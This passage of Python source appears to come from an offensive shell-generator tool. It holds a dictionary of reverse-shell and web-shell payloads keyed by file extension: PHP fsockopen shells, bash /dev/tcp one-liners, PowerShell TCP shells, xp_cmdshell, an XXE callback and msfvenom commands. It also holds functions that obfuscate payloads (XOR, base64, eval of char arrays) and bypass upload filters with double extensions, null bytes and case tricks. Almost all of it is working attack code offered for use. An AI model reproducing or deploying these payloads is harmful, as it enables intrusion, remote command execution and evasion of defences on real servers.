'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'doc': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'docx': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'xls': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'xlsx': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'ppt': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'pptx': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'odt': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'ods': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'odp': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'txt': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'rtf': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

# Archive Extensions

'zip': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'rar': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'tar': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'gz': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'7z': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'bz2': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

# Programming Language Extensions

'py': {

'reverse': 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{host}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])',

'basic': 'import os;os.system("whoami")'

},

'rb': {

'reverse': 'require "socket";exit if fork;c=TCPSocket.new("{host}",{port});loop{{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){{|io|c.print io.read}}))rescue c.puts "failed: #{{$_}}"}}',

'basic': 'system("whoami")'

},

'pl': {

'reverse': 'use Socket;$i="{host}";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");}};',

'basic': 'system("whoami");'

},

'js': {

'reverse': 'require("child_process").exec("/bin/bash -c \'bash -i >& /dev/tcp/{host}/{port} 0>&1\'");',

'basic': 'require("child_process").exec("whoami");'

},

'go': {

'reverse': 'package main;import("os/exec";"net");func main(){{c,_:=net.Dial("tcp","{host}:{port}");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}}',

'basic': 'package main;import("os/exec");func main(){{exec.Command("whoami").Run()}}'

},

'java': {

'reverse': 'import java.io.*;import java.net.*;public class Shell{{public static void main(String[] args)throws Exception{{Socket s=new Socket("{host}",{port});Process p=new ProcessBuilder("/bin/sh").redirectErrorStream(true).start();InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{{p.exitValue();break;}}catch(Exception e){{}}}}p.destroy();s.close();}}}}',

'basic': 'Runtime.getRuntime().exec("whoami");'

},

# Shell Script Extensions

'sh': {

'reverse': '#!/bin/sh\nbash -i >& /dev/tcp/{host}/{port} 0>&1',

'basic': '#!/bin/sh\nwhoami'

},

'bash': {

'reverse': '#!/bin/bash\nbash -i >& /dev/tcp/{host}/{port} 0>&1',

'basic': '#!/bin/bash\nwhoami'

},

'zsh': {

'reverse': '#!/bin/zsh\nzsh -i >& /dev/tcp/{host}/{port} 0>&1',

'basic': '#!/bin/zsh\nwhoami'

},

'ksh': {

'reverse': '#!/bin/ksh\nksh -i >& /dev/tcp/{host}/{port} 0>&1',

'basic': '#!/bin/ksh\nwhoami'

},

'csh': {

'reverse': '#!/bin/csh\n(bash -i >& /dev/tcp/{host}/{port} 0>&1 &)',

'basic': '#!/bin/csh\nwhoami'

},

'fish': {

'reverse': '#!/usr/bin/fish\nbash -i >& /dev/tcp/{host}/{port} 0>&1',

'basic': '#!/usr/bin/fish\nwhoami'

},

# Windows Extensions

'bat': {

'reverse': '@echo off\npowershell -nop -c "$client=New-Object System.Net.Sockets.TCPClient(\'{host}\',{port});$stream=$client.GetStream();[byte[]]$bytes=0..65535|%%{{0}};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){{;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+\'PS \'+(`pwd).Path+\'> \';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()"',

'basic': '@echo off\nwhoami'

},

'cmd': {

'reverse': '@echo off\npowershell -nop -c "$client=New-Object System.Net.Sockets.TCPClient(\'{host}\',{port});$stream=$client.GetStream();[byte[]]$bytes=0..65535|%%{{0}};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){{;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+\'PS \'+(`pwd).Path+\'> \';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()"',

'basic': '@echo off\nwhoami'

},

'ps1': {

'reverse': '$client=New-Object System.Net.Sockets.TCPClient("{host}",{port});$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{{0}};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){{;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+"PS "+(`pwd).Path+"> ";$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()',

'basic': 'whoami'

},

'vbs': {

'reverse': 'Set objShell=CreateObject("WScript.Shell")\nobjShell.Run "powershell -nop -c ""$client=New-Object System.Net.Sockets.TCPClient(\'{host}\',{port});$stream=$client.GetStream();[byte[]]$bytes=0..65535|%%{{0}};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){{;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+\'PS \'+(`pwd).Path+\'> \';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()""',

'basic': 'Set objShell=CreateObject("WScript.Shell")\nobjShell.Run "whoami"'

},

'exe': {

'reverse': '# Binary reverse shell - use msfvenom: msfvenom -p windows/shell_reverse_tcp LHOST={host} LPORT={port} -f exe',

'basic': '# Binary executable'

},

'dll': {

'reverse': '# DLL reverse shell - use msfvenom: msfvenom -p windows/shell_reverse_tcp LHOST={host} LPORT={port} -f dll',

'basic': '# Dynamic Link Library'

},

# Web Config Extensions

'htaccess': {

'reverse': 'AddType application/x-httpd-php .png\nphp_value auto_prepend_file "<?php $sock=fsockopen(\'{host}\',{port});exec(\'/bin/sh -i <&3 >&3 2>&3\'); ?>"',

'basic': 'AddType application/x-httpd-php .png'

},

'config': {

'reverse': '<?xml version="1.0" encoding="UTF-8"?>\n<configuration>\n <system.webServer>\n <handlers>\n <add name="PHP" path="*.png" verb="*" modules="FastCgiModule" scriptProcessor="C:\\php\\php-cgi.exe" resourceType="Unspecified" />\n </handlers>\n </system.webServer>\n</configuration>',

'basic': '<?xml version="1.0" encoding="UTF-8"?>\n<configuration></configuration>'

},

# Mobile Extensions

'apk': {

'reverse': '# Android APK reverse shell - use msfvenom: msfvenom -p android/meterpreter/reverse_tcp LHOST={host} LPORT={port} -o shell.apk',

'basic': '# Android Application Package'

},

'ipa': {

'reverse': '# iOS IPA reverse shell - manual creation required',

'basic': '# iOS Application Archive'

},

# Other Common Extensions

'xml': {

'reverse': '<?xml version="1.0"?>\n<!DOCTYPE r [\n<!ELEMENT r ANY >\n<!ENTITY % sp SYSTEM "http://{host}:{port}/shell.dtd">\n%sp;\n%param1;\n]>\n<r>&exfil;</r>',

'basic': '<?xml version="1.0"?>\n<root></root>'

},

'json': {

'reverse': '{{"exploit":"<?php $sock=fsockopen(\'{host}\',{port});exec(\'/bin/sh -i <&3 >&3 2>&3\'); ?>"}}',

'basic': '{{"data":"value"}}'

},

'csv': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': 'column1,column2,column3'

},

'sql': {

'reverse': "EXEC xp_cmdshell 'powershell -nop -c \"$client=New-Object System.Net.Sockets.TCPClient(\\''{host}\\',{port});$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{{0}};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){{;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+\\'PS \\'+(\\`pwd).Path+\\'> \\';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()\"'",

'basic': 'SELECT * FROM users;'

},

'html': {

'reverse': '<!DOCTYPE html>\n<html>\n<body>\n<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>\n</body>\n</html>',

'basic': '<!DOCTYPE html>\n<html>\n<body>Hello World</body>\n</html>'

},

'htm': {

'reverse': '<!DOCTYPE html>\n<html>\n<body>\n<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>\n</body>\n</html>',

'basic': '<!DOCTYPE html>\n<html>\n<body>Hello World</body>\n</html>'

},

'shtml': {

'reverse': '<!DOCTYPE html>\n<html>\n<body>\n<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>\n</body>\n</html>',

'basic': '<!DOCTYPE html>\n<html>\n<body>Hello World</body>\n</html>'

},

'phtml': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php echo "Hello World"; ?>'

},

'php3': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'php4': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'php5': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'php7': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'phps': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

},

'phar': {

'reverse': '<?php $sock=fsockopen("{host}",{port});exec("/bin/sh -i <&3 >&3 2>&3"); ?>',

'basic': '<?php system($_GET["cmd"]); ?>'

}

}

def _obfuscate_base64(self, text: str) -> str:

"""Base64 obfuscation"""

return base64.b64encode(text.encode()).decode()

def _obfuscate_hex(self, text: str) -> str:

"""Hex obfuscation"""

return text.encode().hex()

def _obfuscate_reverse(self, text: str) -> str:

"""Reverse string obfuscation"""

return text[::-1]

def _obfuscate_xor(self, text: str, key: str = "shellforge") -> str:

"""XOR obfuscation"""

result = ""

for i, char in enumerate(text):

result += chr(ord(char) ^ ord(key[i % len(key)]))

return result

def _obfuscate_rot13(self, text: str) -> str:

"""ROT13 obfuscation"""

return text.encode('rot13')

def _obfuscate_mixed(self, text: str) -> str:

"""Mixed obfuscation (combination of methods)"""

methods = [self._obfuscate_base64, self._obfuscate_hex, self._obfuscate_reverse]

method = random.choice(methods)

return method(text)

def _encode_url(self, text: str) -> str:

"""URL encoding"""

import urllib.parse

return urllib.parse.quote(text)

def _encode_html(self, text: str) -> str:

"""HTML encoding"""

import html

return html.escape(text)

def _encode_unicode(self, text: str) -> str:

"""Unicode encoding"""

return ''.join(f'\\u{ord(c):04x}' for c in text)

def _encode_binary(self, text: str) -> str:

"""Binary encoding"""

return ' '.join(format(ord(c), '08b') for c in text)

# =================== 2025 ADVANCED OBFUSCATION METHODS ===================

def _obfuscate_aes_style(self, text: str) -> str:

"""AES-style obfuscation (simulated with base64 + XOR)"""

# Double layer: XOR then Base64

xor_result = self._obfuscate_xor(text)

return base64.b64encode(xor_result.encode()).decode()

def _obfuscate_gzip_style(self, text: str) -> str:

"""GZIP-style compression simulation"""

import zlib

compressed = zlib.compress(text.encode())

return base64.b64encode(compressed).decode()

def _obfuscate_double_encode(self, text: str) -> str:

"""Double base64 encoding"""

first = base64.b64encode(text.encode()).decode()

second = base64.b64encode(first.encode()).decode()

return second

def _obfuscate_unicode_escape(self, text: str) -> str:

"""Unicode escape sequences"""

return ''.join(f'\\u{ord(c):04x}' for c in text)

def _obfuscate_char_encode(self, text: str) -> str:

"""Character code encoding for PHP"""

chars = ','.join(str(ord(c)) for c in text)

return f'eval(implode(array_map("chr",array({chars}))))'

def _obfuscate_variable_chain(self, text: str) -> str:

"""Variable chain obfuscation"""

# Split into chunks and assign to variables

chunks = [text[i:i+5] for i in range(0, len(text), 5)]

vars_code = []

for i, chunk in enumerate(chunks):

vars_code.append(f'$x{i}="{chunk}";')

concat = '+'.join(f'$x{i}' for i in range(len(chunks)))

return ''.join(vars_code) + f'eval({concat});'

def _obfuscate_zero_width(self, text: str) -> str:

"""Zero-width character obfuscation"""

# Insert zero-width spaces

zwsp = '\u200b'

return zwsp.join(text)

def _obfuscate_polymorphic(self, text: str) -> str:

"""Polymorphic obfuscation - changes each time"""

methods = [self._obfuscate_base64, self._obfuscate_hex, self._obfuscate_xor]

chosen = random.choice(methods)

result = chosen(text)

# Add random comments

comment = ''.join(random.choices(string.ascii_letters, k=10))

return f'/*{comment}*/{result}'

# =================== BYPASS METHODS ===================

def _bypass_double_extension(self, filename: str, shell_content: str) -> tuple:

"""Double extension bypass (e.g., shell.php.png)"""

base = filename.rsplit('.', 1)[0]

ext = filename.rsplit('.', 1)[1] if '.' in filename else 'php'

new_name = f"{base}.php.{ext}"

return new_name, shell_content

def _bypass_null_byte(self, filename: str, shell_content: str) -> tuple:

"""Null byte injection (shell.php%00.png)"""

base = filename.rsplit('.', 1)[0]

ext = filename.rsplit('.', 1)[1] if '.' in filename else 'png'

new_name = f"{base}.php%00.{ext}"

return new_name, shell_content

def _bypass_case_manipulation(self, filename: str, shell_content: str) -> tuple:

"""Case manipulation (ShElL.PhP)"""